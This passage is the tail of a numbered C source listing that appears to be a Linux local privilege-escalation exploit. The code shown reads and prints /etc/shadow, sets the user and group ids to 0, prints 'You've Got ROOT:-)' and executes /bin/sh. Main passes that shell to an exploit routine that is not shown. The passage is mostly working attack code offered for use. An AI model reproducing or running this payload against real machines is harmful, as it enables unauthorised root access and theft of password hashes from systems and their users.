*target_envp[]) 2116 | { 2117 | int res; 2118 | 2119 | printf("[*] Checking \"/etc/shadow\"...\n"); 2120 | FILE *f = fopen("/etc/shadow", "rb"); 2121 | if (f != NULL) { 2122 | char buf[0x1000]; 2123 | size_t size = fread(buf, 1, sizeof(buf), f); 2124 | if (0 < size) { 2125 | fwrite(buf, 1, size, stdout); 2126 | } 2127 | } 2128 | 2129 | uid_t euid = geteuid(); 2130 | if (euid != 0) { 2131 | err(1, "Unexpected effective user id of the process"); 2132 | } 2133 | 2134 | res = setuid(0); 2135 | if (res != 0) { 2136 | err(1, "Cannot into setuid()"); 2137 | } 2138 | res = setgid(0); 2139 | if (res != 0) { 2140 | err(1, "Cannot into setgid()"); 2141 | } 2142 | 2143 | printf("\n\n[*] You've Got ROOT:-)\n\n"); 2144 | 2145 | res = execve(target_argv[0], target_argv, target_envp); 2146 | err(1, "Cannot into execve()"); 2147 | } 2148 | 2149 | 2150 | int main(int argc, char *argv[], char *envp[]) 2151 | { 2152 | setbuf(stdout, NULL); 2153 | 2154 | if (3 <= argc) { 2155 | execve_with_setuid(argv + 2, envp); 2156 | } 2157 | else { 2158 | char *target_path; 2159 | if (2 <= argc) { 2160 | target_path = argv[1]; 2161 | } 2162 | else { 2163 | target_path = realpath(argv[0], NULL); 2164 | if (target_path == NULL) { 2165 | err(1, "Cannot into realpath()"); 2166 | } 2167 | } 2168 | char *target_argv[] = { "-", "-", "/bin/sh", NULL }; 2169 | exploit(target_path, target_argv, envp); 2170 | } 2171 | } 2172 | --------------------------------------------------------------------------------